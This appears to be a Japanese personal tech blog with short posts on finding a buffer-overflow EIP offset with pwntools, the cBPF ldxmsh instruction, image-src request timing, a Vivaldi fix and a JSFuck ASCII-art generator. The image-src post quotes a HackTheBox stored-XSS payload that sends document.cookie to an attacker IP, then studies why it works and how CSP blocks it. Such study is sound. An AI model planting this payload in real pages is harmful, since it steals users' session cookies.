日記

日本語の勉強のためのブログ

de Bruijn Sequenceとcyclic_find()について調べた

入力からEIPまでのオフセットを調べる方法

※EIP: 32bit環境におけるプログラムカウンタ(instruction pointer)

1. 地道に調べる

適当な長いランダム文字列を入力し、gdbを用いてEIPの値を調べることで、手作業でオフセットを数える方法。
別にこの方法でもいいが、単純にだるい。

2. de Bruijn Sequenceとcyclic_find()を使う

先程の手法を洗練したのがこの方法である。
長さnのどの部分文字列を取り出しても他とかぶることがないように設計された文字列のことを「de Bruijn Sequence」とよぶが、これを用いることでオフセットを簡単に調べることができる。

※具体例を挙げると、aaaabaaacaaadaaaeaaafaaa...というde Bruijn Sequenceからどの4文字を抜き出しても、aaaa, aaab, aaba, ...のようにほかとかぶることはない。このde Bruijn Sequenceをバイナリの入力として渡すことを考える。このとき、例えばEIPにaabaが入っていたら、入力からEIPまでのオフセットは2であるとわかる(どの部分文字列もユニークなので)。

実際の手順はこうだ。
まずpwntoolに含まれるcyclic()でde Bruijn Sequence*1を作成して、テキストファイルに流し込み、

$ python3 -c 'from pwn import *; import sys; sys.stdout.buffer.write(cyclic(100))' > input.txt

それをデバッグ開始時に渡す。

$ gdb ./vuln
(gdb) r < input.txt

もしくは、デバッグ開始時に生成と入力を同時に行うのもいいだろう。

$ gdb ./vuln
(gdb) r <<< $(python3 -c 'from pwn import *; import sys; sys.stdout.buffer.write(cyclic(100))')

どちらにせよ、Segmentation Faultが発生すればデバッグ実行が止まり、以下に示すgdbの出力例のように、EIPの値を知ることができる。

$eip   : 0x61616174 ('taaa'?)
[Thread Id:1, tid:547] Name: "vuln", stopped at 0x61616174 <NO_SYMBOL>, reason: SIGSEGV

いま、EIPには0x61616174という値が入っている*2から、これとde Bruijn Sequenceを比較することで、入力からEIPまでのオフセットを知ることができる。
自分で数えても良いが、cyclic_find()を用いることで簡単に求められる。

$ python3 -c 'from pwn import *; print(cyclic_find(0x61616174))'
76 

この結果より、オフセットが76バイト、つまり76文字入力すればEIPに辿り着けることがわかった。

*1:ChatGPTに添削させたところ、厳密なde Brujin Sequenceではないとの回答を得たが、リファレンスにはde_bruijn()のラッパーであると明記されておりよくわからない

*2:ここで0x61616174はリトルエンディアンなので、入力文字列でいえば"aaat"ではなく"taaa"に相当することに注意する

【cBPF】ldxmshとは一体何なのか

前提

cBPFでは下位3bitが命令クラスを指し、基本的な命令(ロードか、ストアか、演算か、分岐か、など)を示す。 上位5bitは命令クラスにより構成が変わる。

  • ↑MSB
  • クラスによって構成が変わる:5bit
  • 命令クラス:3bit(ld, ldxなど)
  • ↓LSB

ちなみに、cBPFの命令とeBPFの命令はほぼ同じ。

なおcBPFの命令では、オペコードは16bit幅ですが、実際には下位8bitしか利用されていません。
(引用:https://atmarkit.itmedia.co.jp/ait/articles/1812/10/news016_2.html

ldxmshとは?

ldxbmshの合成。 ldxbは1バイトをインデックスレジスタXに代入する(ちなみにldbはアキュムレータレジスタAに代入する)。 mshは特殊なモードであり、基本的にBPF_LDXとの組み合わせでしか用いられない。

BPF_LDX These instructions load a value into the index register. Note that the addressing modes are more restrictive than those of the accumulator loads, but they include BPF_MSH, a hack for efficiently loading the IP header length.

   BPF_LDX+BPF_W+BPF_IMM  X <- k
   BPF_LDX+BPF_W+BPF_MEM  X <- M[k]
   BPF_LDX+BPF_W+BPF_LEN  X <- len
   BPF_LDX+BPF_B+BPF_MSH  X <- 4*(P[k:1]&0xf)

(引用:https://man.freebsd.org/cgi/man.cgi?query=bpf&sektion=4&manpath=FreeBSD+4.5-RELEASE

【JS】image要素のsrc指定だけでリクエストは飛ぶのか

調べたいこと & その結論

Q.
JavaScriptでimage要素を動的に生成し、src属性をセットすると、その瞬間にsrcへリクエストが送信されるのは本当か?

A.
本当。
ただし、CSPによって画像の読み込み元が制限されている場合は送信されない。


はじめに

HackTheBoxをプレイしていた際に、アクセスユーザのcookie情報をstored XSSで漏洩させる手法を学んだ。
具体的には、以下のscript要素をWebページ上に配置することで、アクセスしたユーザのcookieを窃取できるとのこと。

<script>
let img=new Image(); 
img.src="http://10.10.16.5:8001/?"+btoa(document.cookie);
</script>

このスクリプトは、ユーザが当該ページにアクセスした際に以下の処理を行う。

  • image要素を動的に作成する
  • そのsrc属性に攻撃者サーバのURL(アクセスユーザのcookieを含む)を指定する
  • すると、アクセスユーザのcookieが攻撃者サーバに送信される

疑問

このスクリプトが実行されただけでは、image要素はDOMに追加されていない。つまり、ユーザがimage要素を視認することはできない。
それにもかかわらず、srcにURLを指定した瞬間にリクエストが送信されるとされている。

私は「要素がDOMに追加されてからリソースが読み込まれる」と思っており、「画像がDOMに存在しないのに(ユーザには見えない画像なのに)、ブラウザが画像を取得しようとする」のは意外だった。

そのため、これが正しいか実際に調査することにした。

調査

用意

2つの環境を用意する。どちらもローカル環境である。

  1. ブラウザの開発者ツール内のコンソール
  2. ローカルのkali linux
    • python3 -m http.server 8001を実行し、通信を待ち受けておく

実行

kali linuxで通信を待ち受けている状態で、開発者ツールで以下の命令を実行する。

let img = new Image();
img.src = "http://localhost:8001/?hello";

すると、src属性の設定(コード2行目)を行った瞬間に、サーバ側にリクエストが届くことが確認できた。

$ python3 -m http.server 8001
Serving HTTP on 0.0.0.0 port 8001 (http://0.0.0.0:8001/) ...
127.0.0.1 - - [01/Jun/2025 19:50:37] "GET /?hello HTTP/1.1" 200 -

仕様を確認

WHATWGの仕様書「HTML Living Standard」には、以下の記載がある。

4.8.4.3.1 When to obtain images
By default, images are obtained immediately. (略)
When obtaining images immediately, the user agent must synchronously update the image data of the img element, with the restart animation flag set if so stated, whenever that element is created or has experienced relevant mutations.

4.8.4.3.2 Reacting to DOM mutations
The relevant mutations for an img element are as follows:
・The element's src, srcset, width, or sizes attributes are set, changed, or removed.

日本語訳を以下に示す。

4.8.4.3.1 画像を取得するタイミング
デフォルトでは、画像は即座に取得されます。(略)
画像を即時に取得する場合、ユーザーエージェントは、その要素が作成されるたび、または「関連する変更」が発生するたびに、img 要素の画像データを同期的に更新し、指定されている場合は再開アニメーションフラグを設定する必要があります。

4.8.4.3.2 DOMの変更への対応
「関連する変更」とは次のとおりです。
・要素の src、srcset、width、または sizes 属性が設定、変更、または削除されます。

補足:CSPが設定されているWebページでこの攻撃を試すとどうなるか

画像に対してCSPが設定されているWebページでは、この攻撃は通用しない
なぜなら、リクエスト自体が送信されないからである。

実際に、CSPが設定されたサイト(例:https://developer.mozilla.org/)で開発者ツールを開き、先ほどの命令を実行する。
すると以下の通りエラーが返ってくる。

Refused to load the image 'http://localhost:8001/' because it violates the following Content Security Policy directive: "img-src 'self' data: *.githubusercontent.com *.googleusercontent.com *.gravatar.com mozillausercontent.com firefoxusercontent.com profile.stage.mozaws.net profile.accounts.firefox.com developer.mozilla.org mdn.dev interactive-examples.mdn.mozilla.net interactive-examples.mdn.allizom.net wikipedia.org upload.wikimedia.org https://mdn.github.io/shared-assets/ https://mdn.dev/ https://*.google-analytics.com https://*.googletagmanager.com www.gstatic.com".

ネットワークタブを見ると、localhost:8001宛のリクエストのステータスが「(ブロック:csp)」となっており、リクエストがブロックされたことがわかる。
これは、kali linuxで待ち受けているサーバにログが残っていないことからも明らかである。

参考リンク

記事完成後に見つけた関連ページを貼っておく。

please-sleep.cou929.nu

k-ichikawa.blog.enjoy.jp

【Vivaldi】ウェブパネルでChatGPT使用時に改行ができない

問題

VivaldiのウェブパネルにChatGPTを登録して使用する際、Shift+Enterによるプロンプト改行ができず、代わりに空白(おそらく)が入力される。

原因

ウェブパネルを「モバイル表示」にしている

解決法

ウェブパネル上部のモバイル・デスクトップ表示切り替えボタンを押下し、「デスクトップ表示」にする。

赤丸で囲まれた箇所が切り替えボタン

環境

  • Vivaldi: 7.5.3735.58 (Stable channel) (64-bit)
  • OS: Windows 11 Version 24H2 (Build 26100.4770)
  • 解決日: 2025/08/09

「JavaScriptとして実行できるアスキーアート」を自動生成する

作成したデモはこちら
https://kalaxity.github.io/jsfuck-asciify/

概要

「プログラムのソースコードとしても動作するアスキーアート」を作成する試みがある。

非常に面白い試みではあるが、現状はこうしたAAを 完全自動 で、そして 手軽に 生成する仕組みは存在しない。

※厳密にいえば、上記記事のようにJupyter Notebook上で作成する方法は存在する。しかしこれはPythonの実行環境を別途用意する必要があり、手軽さには欠ける。 また、必要に応じてコードを微修正する必要もある。

そこで今回は、これを完全自動化するWebサイトの作成を目標とする。

完成品

完成したWebサイトはGithub上で公開しており、自由に使用できる。

https://kalaxity.github.io/jsfuck-asciify/

ユーザが(1)画像と(2)JavaScriptプログラムを入力すると、AA化された画像の1文字1文字にプログラムが割り当てられ、「JavaScriptプログラムとして動作するAA」が自動で出力される。


以下に、作成時の苦労や今後の改善点をまとめる。

自動作成の手順

自動作成は以下の3つの手順からなる。

  1. 画像からアスキーアートを作成する
  2. プログラムをアスキーアートに適した構造に書き換える(空白・改行が入っても実行できる形式に直す)
  3. アスキーアートとプログラムを1文字1文字対応させる

ここで問題となるのは以下の2点である。

  1. どうやってプログラムに空白・改行が入っても実行できるようにするか
  2. どうやってアスキーアートとプログラムの文字列長を揃えるか

問題1. プログラム内の空白・改行を無視するには?

一般にプログラムは空白や改行が混入すると正しく実行できない。そのため、空白が入っても問題なく実行できる形式に直す(つまり「空白耐性」をもたせる)必要がある。

今回は簡単に空白耐性をもたせるために、「JSFuck」という難読プログラミング言語を用いる。 JSFuckは+![]()の6文字のみを用いたJavaScriptプログラムであり、用いる文字の特性上、どこに空白・改行が含まれても問題なく実行できる。そのため、任意のJavaScriptプログラムをJSFuckに変換すれば、空白耐性をもったプログラムを簡単に生成することができる。

問題2. AAとプログラムの文字数を合わせるには?

文字列長を揃える方法は以下の2つが考えられる。

  1. AAを調整:AA自体のサイズを調整し、プログラムの文字列長に合わせる
  2. プログラムを調整:プログラムを何かしらの方法で水増しあるいは削減する

今回はこの両方を採用する。 つまり、まず前者で大雑把にサイズを揃え、残りの差を後者(具体的には//による水増し)で厳密に調整する方針をとった。

現状の問題

  1. プログラム長が長すぎ → jsfuckの文字セットを拡張or別の難読化手法を使用
  2. プログラム長の最適な調整方法を探す必要がある
  3. 2値化の閾値が適当 → ユーザが調整できるようにしたい